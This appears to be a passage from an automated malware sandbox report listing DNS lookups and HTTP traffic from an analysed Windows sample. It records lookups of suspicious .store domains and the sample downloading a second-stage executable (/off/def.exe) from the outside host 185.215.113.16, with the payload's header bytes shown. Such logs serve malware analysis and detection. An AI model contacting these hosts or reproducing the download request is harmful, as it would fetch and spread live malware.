Oct 31, 2024 23:38:55.715439081 CET	192.168.2.4	1.1.1.1	0xad3	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.715439081 CET	192.168.2.4	1.1.1.1	0x4c88	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.715653896 CET	192.168.2.4	1.1.1.1	0x7c75	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.723189116 CET	192.168.2.4	1.1.1.1	0x11bb	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.723202944 CET	192.168.2.4	1.1.1.1	0x3ce7	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.723642111 CET	192.168.2.4	1.1.1.1	0xd09d	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.731129885 CET	192.168.2.4	1.1.1.1	0xb5c0	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:55.731539011 CET	192.168.2.4	1.1.1.1	0xcb4d	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 31, 2024 23:38:55.731734037 CET	192.168.2.4	1.1.1.1	0xb828	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:55.746407032 CET	192.168.2.4	1.1.1.1	0x5d81	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.746567965 CET	192.168.2.4	1.1.1.1	0xb3a8	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.756145000 CET	192.168.2.4	1.1.1.1	0xfaf3	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.756386995 CET	192.168.2.4	1.1.1.1	0xbc1f	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770582914 CET	192.168.2.4	1.1.1.1	0x1e00	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:55.770582914 CET	192.168.2.4	1.1.1.1	0x713a	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:55.862301111 CET	192.168.2.4	1.1.1.1	0x7e62	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.870739937 CET	192.168.2.4	1.1.1.1	0x46f8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.878938913 CET	192.168.2.4	1.1.1.1	0x9dd1	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:59.446645975 CET	192.168.2.4	1.1.1.1	0x11d8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 23:39:00.478800058 CET	192.168.2.4	1.1.1.1	0x11d8	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 23:39:02.331213951 CET	192.168.2.4	1.1.1.1	0x9526	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.485734940 CET	192.168.2.4	1.1.1.1	0x149f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.559840918 CET	192.168.2.4	1.1.1.1	0xad2	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.572381020 CET	192.168.2.4	1.1.1.1	0x6019	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:10.488219976 CET	192.168.2.4	1.1.1.1	0x4514	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 23:36:59.390872955 CET	1.1.1.1	192.168.2.4	0xbe70	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.402292967 CET	1.1.1.1	192.168.2.4	0x79f7	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.412980080 CET	1.1.1.1	192.168.2.4	0x5c75	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.427336931 CET	1.1.1.1	192.168.2.4	0x3927	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.447338104 CET	1.1.1.1	192.168.2.4	0x24c2	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.447338104 CET	1.1.1.1	192.168.2.4	0x24c2	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.208772898 CET	1.1.1.1	192.168.2.4	0x1123	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.221313953 CET	1.1.1.1	192.168.2.4	0x5a8d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.232676983 CET	1.1.1.1	192.168.2.4	0x9ff7	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.244290113 CET	1.1.1.1	192.168.2.4	0xff52	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.608644962 CET	1.1.1.1	192.168.2.4	0xf145	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.626931906 CET	1.1.1.1	192.168.2.4	0x4d63	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.638642073 CET	1.1.1.1	192.168.2.4	0xb839	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.649075031 CET	1.1.1.1	192.168.2.4	0x6e36	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:30.971775055 CET	1.1.1.1	192.168.2.4	0x37db	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:31.166893959 CET	1.1.1.1	192.168.2.4	0x661e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.805943012 CET	1.1.1.1	192.168.2.4	0xce28	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.830636978 CET	1.1.1.1	192.168.2.4	0x4994	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.852657080 CET	1.1.1.1	192.168.2.4	0x3bee	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.865343094 CET	1.1.1.1	192.168.2.4	0xed9	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.730875969 CET	1.1.1.1	192.168.2.4	0xff22	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:40.730875969 CET	1.1.1.1	192.168.2.4	0xff22	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.737056017 CET	1.1.1.1	192.168.2.4	0xe928	No error (0)	youtube.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.741139889 CET	1.1.1.1	192.168.2.4	0xa6ac	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.748002052 CET	1.1.1.1	192.168.2.4	0xd8ba	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.749671936 CET	1.1.1.1	192.168.2.4	0x53f0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 23:38:40.769361973 CET	1.1.1.1	192.168.2.4	0xbbe1	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:53.032078028 CET	1.1.1.1	192.168.2.4	0x13e1	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:53.032078028 CET	1.1.1.1	192.168.2.4	0x13e1	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:53.032078028 CET	1.1.1.1	192.168.2.4	0x13e1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.048248053 CET	1.1.1.1	192.168.2.4	0xc3b8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.066246986 CET	1.1.1.1	192.168.2.4	0x7a35	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 23:38:53.076220989 CET	1.1.1.1	192.168.2.4	0x511d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:53.159064054 CET	1.1.1.1	192.168.2.4	0xf8a7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.167368889 CET	1.1.1.1	192.168.2.4	0xdcb7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.357422113 CET	1.1.1.1	192.168.2.4	0x5974	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:53.357422113 CET	1.1.1.1	192.168.2.4	0x5974	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.365679026 CET	1.1.1.1	192.168.2.4	0xea90	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.379832983 CET	1.1.1.1	192.168.2.4	0xd729	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.391107082 CET	1.1.1.1	192.168.2.4	0x40e7	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.503434896 CET	1.1.1.1	192.168.2.4	0x1cce	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.503434896 CET	1.1.1.1	192.168.2.4	0x1cce	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.503768921 CET	1.1.1.1	192.168.2.4	0xd077	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.508964062 CET	1.1.1.1	192.168.2.4	0xa21e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:53.508964062 CET	1.1.1.1	192.168.2.4	0xa21e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:54.066068888 CET	1.1.1.1	192.168.2.4	0xc8a5	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722470045 CET	1.1.1.1	192.168.2.4	0xad3	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722631931 CET	1.1.1.1	192.168.2.4	0x4c88	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.722631931 CET	1.1.1.1	192.168.2.4	0x4c88	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.723010063 CET	1.1.1.1	192.168.2.4	0x7c75	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.723010063 CET	1.1.1.1	192.168.2.4	0x7c75	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730578899 CET	1.1.1.1	192.168.2.4	0x11bb	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730806112 CET	1.1.1.1	192.168.2.4	0x3ce7	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.730978012 CET	1.1.1.1	192.168.2.4	0xd09d	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.738229036 CET	1.1.1.1	192.168.2.4	0xb5c0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.738229036 CET	1.1.1.1	192.168.2.4	0xb5c0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.738229036 CET	1.1.1.1	192.168.2.4	0xb5c0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.738229036 CET	1.1.1.1	192.168.2.4	0xb5c0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.738955975 CET	1.1.1.1	192.168.2.4	0xb828	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.739268064 CET	1.1.1.1	192.168.2.4	0xcb4d	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 31, 2024 23:38:55.753104925 CET	1.1.1.1	192.168.2.4	0x5d81	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.753104925 CET	1.1.1.1	192.168.2.4	0x5d81	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.753104925 CET	1.1.1.1	192.168.2.4	0x5d81	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.753104925 CET	1.1.1.1	192.168.2.4	0x5d81	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.753104925 CET	1.1.1.1	192.168.2.4	0x5d81	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.754106998 CET	1.1.1.1	192.168.2.4	0xb3a8	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770148039 CET	1.1.1.1	192.168.2.4	0xbc1f	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770178080 CET	1.1.1.1	192.168.2.4	0xfaf3	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770178080 CET	1.1.1.1	192.168.2.4	0xfaf3	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770178080 CET	1.1.1.1	192.168.2.4	0xfaf3	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.770178080 CET	1.1.1.1	192.168.2.4	0xfaf3	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.870277882 CET	1.1.1.1	192.168.2.4	0x7e62	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.870277882 CET	1.1.1.1	192.168.2.4	0x7e62	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 23:38:55.870277882 CET	1.1.1.1	192.168.2.4	0x7e62	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:55.878515005 CET	1.1.1.1	192.168.2.4	0x46f8	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.340478897 CET	1.1.1.1	192.168.2.4	0x9526	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.495733023 CET	1.1.1.1	192.168.2.4	0x149f	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.569792986 CET	1.1.1.1	192.168.2.4	0xad2	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:39:02.581710100 CET	1.1.1.1	192.168.2.4	0x6019	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	185.215.113.16	80	7356	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:37:14.869496107 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:37:15.786335945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:37:15 GMT Content-Type: application/octet-stream Content-Length: 2812416 Last-Modified: Thu, 31 Oct 2024 21:45:05 GMT Connection: keep-alive ETag: "6723fa61-2aea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +h+`Ui` @ @.rsrc`2@.idata 8@mumtztzr*:@ueaihgqr @+@.taggant@`+"*@
Oct 31, 2024 23:37:15.786369085 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786377907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786428928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786439896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786453962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786465883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786494970 CET	560	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:37:15.786504984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
